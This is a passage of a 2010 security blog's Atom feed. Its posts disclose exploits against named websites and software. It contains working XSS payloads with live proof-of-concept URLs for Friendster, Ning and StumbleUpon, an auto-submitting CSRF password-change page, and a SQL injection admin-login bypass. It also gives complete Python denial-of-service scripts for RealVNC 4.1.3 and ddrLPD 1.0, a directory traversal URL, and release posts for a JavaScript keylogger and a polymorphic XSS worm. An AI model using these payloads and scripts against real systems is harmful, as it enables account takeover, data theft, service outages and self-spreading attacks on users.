type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/tumblrcom-persistent-xss.html' title='Tumblr.com Persistent XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3126195673327710344</id><published>2010-05-06T19:00:00.000-07:00</published><updated>2010-05-06T19:01:55.127-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social networking'/><category scheme='http://www.blogger.com/atom/ns#' term='friendster.com'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Friendster.com Persistent XSS</title><content type='html'>Only one sanitization pass is performed on user submited data.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt; &amp;lt;&amp;lt;z&amp;gt;script&amp;gt;alert(0)&amp;lt;&amp;lt;z&amp;gt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt; &lt;a href="http://profiles.friendster.com/31202727"&gt;http://profiles.friendster.com/31202727&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3126195673327710344?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3126195673327710344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/friendstercom-persistent-xss_06.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3126195673327710344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3126195673327710344'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/friendstercom-persistent-xss_06.html' title='Friendster.com Persistent XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2791931503847565926</id><published>2010-05-06T17:30:00.000-07:00</published><updated>2010-05-06T17:33:06.058-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cross-site Request Forgery'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Zolsoft Office Server Free Edition 2010.0502 XSRF</title><content type='html'>A cross-site request forgery vunlerability in the Zoloft Office Server Web UI can be exploited to change the password of a user.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="html"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body onload="document.forms[0].submit()"&amp;gt;&lt;br /&gt;    &amp;lt;form action="http://localhost/options3.htm" method="post"&amp;gt;&lt;br /&gt;       &amp;lt;input type="hidden" name="PassField1" value="new_password" /&amp;gt;&lt;br /&gt;       &amp;lt;input type="hidden" name="PassField2" value="new_password" /&amp;gt;       &lt;br /&gt;    &amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2791931503847565926?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2791931503847565926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/zolsoft-office-server-free-edition.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2791931503847565926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2791931503847565926'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/zolsoft-office-server-free-edition.html' title='Zolsoft Office Server Free Edition 2010.0502 XSRF'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3788476522573533351</id><published>2010-05-02T18:11:00.000-07:00</published><updated>2010-05-02T18:38:55.401-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vnc server'/><category scheme='http://www.blogger.com/atom/ns#' term='vnc'/><category scheme='http://www.blogger.com/atom/ns#' term='Denial Of Service'/><category scheme='http://www.blogger.com/atom/ns#' term='RealVNC VNC Server Free Edition 4.1.3'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>RealVNC VNC Server Free Edition 4.1.3 Denial Of Service</title><content type='html'>Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the exception shown below. Note: while the vulnerability is present regardless of authentication, for the sake of simplicity this script only works on servers configured to run with no authentication.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not be written (0x00425BE4 -&gt; FFFFFF00)    &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;vncserver413-DoS.py&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="python"&gt;&lt;br /&gt;import sys, struct, socket&lt;br /&gt;host ='localhost'&lt;br /&gt;port = 5900&lt;br /&gt;&lt;br /&gt;def crash_vnc_server():&lt;br /&gt;    try:&lt;br /&gt;        while 1:&lt;br /&gt;            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;            s.connect((host, port))&lt;br /&gt;            s.settimeout(1.0)       &lt;br /&gt;            &lt;br /&gt;            print 'Connected'&lt;br /&gt;&lt;br /&gt;            try:&lt;br /&gt;                b = s.recv(8192)&lt;br /&gt;                print 'ProtocolVersion Received'&lt;br /&gt;                &lt;br /&gt;                s.send(b)&lt;br /&gt;                print 'ProtocolVersion Sent'            &lt;br /&gt;                &lt;br /&gt;                b = s.recv(8192)&lt;br /&gt;                print 'Security Received'&lt;br /&gt;&lt;br /&gt;                s.send('\x01')&lt;br /&gt;                print 'Security Sent'&lt;br /&gt;                &lt;br /&gt;                b = s.recv(8192)&lt;br /&gt;                print 'SecurityResult Received'&lt;br /&gt;&lt;br /&gt;                if (len(b) == 4 and&lt;br /&gt;                    b[0] == chr(0) and&lt;br /&gt;                    b[1] == chr(0) and&lt;br /&gt;                    b[2] == chr(0) and&lt;br /&gt;                    b[3] == chr(0)):&lt;br /&gt;                    print 'SecurityResult OK'&lt;br /&gt;                else:&lt;br /&gt;                    print 'SecurityResult Failed.\n\nThe server must be set '\&lt;br /&gt;                          'to No Authentication for this to work, otherwise '\&lt;br /&gt;                          'you \'ll need to write the necessary client side '\&lt;br /&gt;                          'authentication code yourself.'&lt;br /&gt;                    return           &lt;br /&gt;&lt;br /&gt;                s.send('\x01')&lt;br /&gt;                print 'ClientInit Sent'&lt;br /&gt;                &lt;br /&gt;                b = s.recv(8192)&lt;br /&gt;                print 'ServerInit Received'&lt;br /&gt;&lt;br /&gt;                text_len = 0xFFFFFF&lt;br /&gt;                text_str = struct.pack('L', text_len) + '\xAA' * text_len&lt;br /&gt;                &lt;br /&gt;                while 1:&lt;br /&gt;                    s.send('\x06\x00\x00\x00' + text_str)&lt;br /&gt;&lt;br /&gt;                    print 'ClientCutText Sent'&lt;br /&gt;                &lt;br /&gt;            except Exception:&lt;br /&gt;                print 'Connection closed'                &lt;br /&gt;            &lt;br /&gt;    except Exception:&lt;br /&gt;        print 'Couldn\'t connect'&lt;br /&gt;&lt;br /&gt;crash_vnc_server()&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3788476522573533351?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3788476522573533351/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/realvnc-vnc-server-free-edition-413.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3788476522573533351'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3788476522573533351'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/realvnc-vnc-server-free-edition-413.html' title='RealVNC VNC Server Free Edition 4.1.3 Denial Of Service'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3750789124793925447</id><published>2010-05-02T13:13:00.001-07:00</published><updated>2010-05-02T13:19:07.000-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='social networking'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='friendster.com'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Friendster.com Persistent XSS</title><content type='html'>Data submitted via album description and a few other fields is not properly escaped before being rendered into javascript.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt; \";alert(0);//&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt; &lt;a href="http://www.friendster.com/viewalbums.php?uid=120927091"&gt;http://www.friendster.com/viewalbums.php?uid=120927091&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3750789124793925447?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3750789124793925447/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/friendstercom-persistent-xss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3750789124793925447'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3750789124793925447'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/friendstercom-persistent-xss.html' title='Friendster.com Persistent XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3938049708926416037</id><published>2010-05-02T12:06:00.000-07:00</published><updated>2010-05-02T12:12:33.446-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Denial Of Service'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='ddrLPD 1.0'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>ddrLPD 1.0 Denial Of Service</title><content type='html'>Sending packets composed of bytes between 1 and 5 (inclusive) causes ddrLPD 1.0 to crash with the exception below.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;The instruction at 0x50431A referenced memory at 0x0. The memory could not be read (0x0050431A -&gt; 00000000)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;ddrLPD10-DoS.py&lt;/span&gt;&lt;br /&gt;&lt;pre name="code" class="python"&gt;&lt;br /&gt;import socket&lt;br /&gt;host ='localhost'&lt;br /&gt;&lt;br /&gt;try:&lt;br /&gt;    while 1:&lt;br /&gt;        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;        s.connect((host, 515))&lt;br /&gt;        s.settimeout(1.0)&lt;br /&gt;        &lt;br /&gt;        print 'connected',&lt;br /&gt;&lt;br /&gt;        try:&lt;br /&gt;            while 1:        &lt;br /&gt;                s.send('\x01'*8192)&lt;br /&gt;                print '.',&lt;br /&gt;        except Exception:&lt;br /&gt;            print '\nconnection closed'&lt;br /&gt;            pass&lt;br /&gt;        &lt;br /&gt;except Exception:&lt;br /&gt;    print 'couldn\'t connect'&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3938049708926416037?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3938049708926416037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/ddrlpd-10-denial-of-service.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3938049708926416037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3938049708926416037'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/05/ddrlpd-10-denial-of-service.html' title='ddrLPD 1.0 Denial Of Service'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2157143986928723123</id><published>2010-04-28T14:29:00.000-07:00</published><updated>2010-05-02T12:10:38.988-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Tele Data Contact Management Server 0.9 SQL Injection</title><content type='html'>&lt;a href="http://teledata.qc.ca/td_cms/TD_CMS_SETUPEX.exe"&gt;Tele Data Contact Management Server&lt;/a&gt; doesn't have much in the way of security. It's possible to log in with admin privileges by injecting SQL into the username field. As there are client side length constraints in place for the username field I packaged the exploit in some javascript for ease of use.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Exploit:&lt;/span&gt; or 1=0 UNION SELECT 1 as RecID,0,'' AS Password,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM Users;--&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PoC:&lt;/span&gt; javascript:document.forms[0][0].setAttribute("value","' or 1=0 UNION SELECT 1 as RecID,0,'' AS Password,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM Users;--");document.forms[0].submit();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2157143986928723123?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2157143986928723123/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/sql-injection-tele-data-contact.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2157143986928723123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2157143986928723123'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/sql-injection-tele-data-contact.html' title='Tele Data Contact Management Server 0.9 SQL Injection'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2957653500131857134</id><published>2010-04-27T18:30:00.000-07:00</published><updated>2010-05-02T12:10:51.224-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='onehttpd'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='directory traversal'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>OneHTTPD 0.6 Directory Traversal</title><content type='html'>It's possible to navigate the local file system of a server running &lt;a href="http://onehttpd.googlecode.com/files/onehttpd-0.6.exe"&gt;OneHTTPD 0.6&lt;/a&gt; by using a specially crafted url.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://localhost/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../"&gt;http://localhost/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2957653500131857134?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2957653500131857134/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/directory-traversal-onehttpd-06.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2957653500131857134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2957653500131857134'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/directory-traversal-onehttpd-06.html' title='OneHTTPD 0.6 Directory Traversal'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1134963654320272246</id><published>2010-04-26T20:01:00.000-07:00</published><updated>2010-05-02T12:11:04.483-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='social networking'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='Type 1 XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Stumpleupon.com Reflected XSS</title><content type='html'>The code that displays spelling corrections does not encode user submitted data.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.stumbleupon.com/search?q=teh%3Cscript%3Ealert(0)%3C/script%3E"&gt;http://www.stumbleupon.com/search?q=teh&amp;lt;script&amp;gt;alert(0)&amp;lt;/script&amp;gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1134963654320272246?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1134963654320272246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/reflected-xss-stumpleuponcom.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1134963654320272246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1134963654320272246'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/reflected-xss-stumpleuponcom.html' title='Stumpleupon.com Reflected XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-296549209235006152</id><published>2010-04-26T19:01:00.000-07:00</published><updated>2010-05-02T12:11:30.930-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Ning.com Persistent XSS</title><content type='html'>Less than and greater than characters submitted in the descriptions of albums, images and probably others are unencoded. Any tags submitted in such fields are subjected to whitelist validation, but this can be bypassed by prepending a less than character to the injected open and close tags.&lt;br /&gt;&lt;br /&gt;Exploit: &amp;lt;&amp;lt;script&amp;gt;alert(0)//&amp;lt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;PoC: &lt;a href="http://coniferous.ning.com/photo/792231134-1"&gt;http://coniferous.ning.com/photo/792231134-1&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-296549209235006152?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/296549209235006152/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/persistent-xss-vulnerability-ningcom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/296549209235006152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/296549209235006152'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/persistent-xss-vulnerability-ningcom.html' title='Ning.com Persistent XSS'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-399363228559502596</id><published>2010-04-25T08:02:00.000-07:00</published><updated>2010-04-25T08:03:30.540-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='keystroke logger'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='http server'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Javascript Keylogger 1.4 Released</title><content type='html'>A python HTTP server has been added to allow for greater cross-platform compatibility.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://sourceforge.net/projects/jskeylogger/files/"&gt;Download 1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/javascript-keylogger/downloads/list"&gt;Download 2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-399363228559502596?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/399363228559502596/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/javascript-keylogger-14-released.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/399363228559502596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/399363228559502596'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/javascript-keylogger-14-released.html' title='Javascript Keylogger 1.4 Released'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-7716754895595660490</id><published>2010-04-11T19:03:00.000-07:00</published><updated>2010-04-17T21:48:37.728-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='xor encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='polymorphic worm'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='xss worm'/><category scheme='http://www.blogger.com/atom/ns#' term='Polymorphism'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript worm'/><category scheme='http://www.blogger.com/atom/ns#' term='encryption'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Prion 1.3 Released - Polymorphic XSS Worm</title><content type='html'>Because of Prion's large memory footprint it isn't suitable for use with every XSS vulnerability. For this reason I decided to create Prion Lite, a scaled down version of Prion small enough to be used with most XSS vulnerabilities, reflected or persistent. Of course this comes at a cost: unlike Prion, which carries its entire codebase with it, instances of the new Lite version must reference an off-site javascript file, another piece of evidence for anyone that might be looking for such things.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1.3 Changes&lt;/span&gt;&lt;br /&gt;Cleaned up code&lt;br /&gt;Prion lite added&lt;br /&gt;Mickey mouse encryption algorithm updated (Prion lite only)&lt;br /&gt;Reorder transformation added (Prion lite only)&lt;br /&gt;Miscellaneous bug fixes&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/prion-polymorphic-xss-worm/downloads/list"&gt;Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-7716754895595660490?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/7716754895595660490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/prion-13-released-polymorphic-xss-worm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7716754895595660490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/7716754895595660490'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/04/prion-13-released-polymorphic-xss-worm.html' title='Prion 1.3 Released - Polymorphic XSS Worm'/><author><name>John 